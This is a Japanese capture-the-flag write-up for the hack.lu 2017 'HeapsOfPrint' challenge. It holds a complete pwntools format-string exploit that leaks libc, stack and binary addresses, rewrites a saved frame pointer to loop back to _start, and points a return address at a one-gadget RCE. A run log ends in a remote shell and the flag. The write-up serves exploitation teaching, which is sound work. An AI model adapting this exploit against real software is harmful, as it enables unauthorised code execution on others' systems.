hack.lu CTF 2017 HeapsOfPrint writeup
はじめに
色々と試したら, saved rbpを部分的に書き換えて_start
を戻りアドレスになるようにすることで再度FSAができるようになった. あとは適当にstack上にone gadget RCEを指すアドレスを作り, mainの戻りアドレスをそこにした.
exploitではheapのアドレスをリークしてるが, 結局使わなかった. 最初はheap上にstack pivotを狙っていたが途中で方針を変更した名残である.
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "flatearth.fluxfingers.net" RPORT = 1747 LHOST = "127.0.0.1" LPORT = 1747 # libc = ELF('./libc.so.6') elf = ELF('./HeapsOfPrint') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *do_that+46 c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./HeapsOfPrint'], gdbscript=execute) else: conn = process(['./HeapsOfPrint']) # conn = process(['./HeapsOfPrint'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation log.info('Pwning') conn.recvuntil('My favourite character is ') offset = ord(conn.recv(1)) + 1 payload = '%' + ('%dc'%(offset+0x58)) + '%6$hhn' payload += 'xxxx%17$p' payload += 'yyyy%14$p' payload += 'zzzz%16$p' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.recvuntil('xxxx') libc_base = int(conn.recv(14),16) - 0x20830 conn.recvuntil('yyyy') stack_addr = int(conn.recv(14),16) conn.recvuntil('zzzz') bin_base = int(conn.recv(14),16) - 0x990 log.info('libc_base = 0x%x', libc_base) log.info('stack_addr = 0x%x', stack_addr) log.info('bin_base = 0x%x', bin_base) ret_offset = 0x6f6 ret = bin_base + ret_offset offset = 0xb0 offset = stack_addr - offset offset = offset & 0xffff log.info('offset = 0x%x', offset) # payload = '%' + ('%dc' % (offset - 8*4) ) + '%6$hn' + p64(ret)*0x4 + 'a'*8 payload = '%' + ('%dc' % (offset) ) + '%6$hn' payload += 'xxxx%14$s' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.recvuntil('xxxx') heap_base = u64(conn.recv(6)+'\x00'*2) - 0x410 log.info('heap_base = 0x%x', heap_base) start_addr = bin_base + 0x906 start_offset = start_addr & 0xffff stack_offset = 0xffff & (stack_addr -0x58 + 0x1a0 - 0x228) ret_offset = 0xffff & (stack_addr - 0x158 + 0x18) one_gadget = libc_base + 0xf1117 log.info('one_gadget = 0x%x', one_gadget) payload = '%' + ('%dc'%( stack_offset )) + '%51$hn' payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) ret_offset = 0xffff & (stack_addr - 0x1d0 + 0x70) ga_offset = 0xffff & one_gadget payload = '%' + ('%dc'%( ga_offset )) + '%83$hn' payload += '%' + ('%dc'%( ret_offset - ga_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) stack_offset = 0xffff & (stack_addr -0x56 + 0x1a0 - 0x228) ret_offset = 0xffff & (stack_addr - 0x1f0) payload = '%' + ('%dc'%( stack_offset )) + '%73$hn' payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) print "last" ga_offset = (one_gadget & 0xffff0000) >> 16 stack_offset = 0xffff & (stack_addr - 0x280 + 0x198) payload = '%' + ('%dc'%( ga_offset )) + '%105$hn' payload += '%' + ('%dc'%( stack_offset - ga_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.interactive()
root@ubuntu:~/ctf/hack.lu2017/HeapsOfPrint# python exploit.py r [*] '/root/ctf/hack.lu2017/HeapsOfPrint/HeapsOfPrint' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to flatearth.fluxfingers.net on port 1747: Done [*] Pwning [*] libc_base = 0x7faee5e76000 [*] stack_addr = 0x7ffc3b2138f8 [*] bin_base = 0x55ea89222000 [*] offset = 0x3848 [*] heap_base = 0x55ea8a799000 [*] one_gadget = 0x7faee5f67117 last [*] Switching to interactive mode \x90$ ls flag HeapsOfPrint setup.sh $ cat flag FLAG{dr4w1ng_st4ckfr4m3s_f0r_fun_4nd_pr0f1t}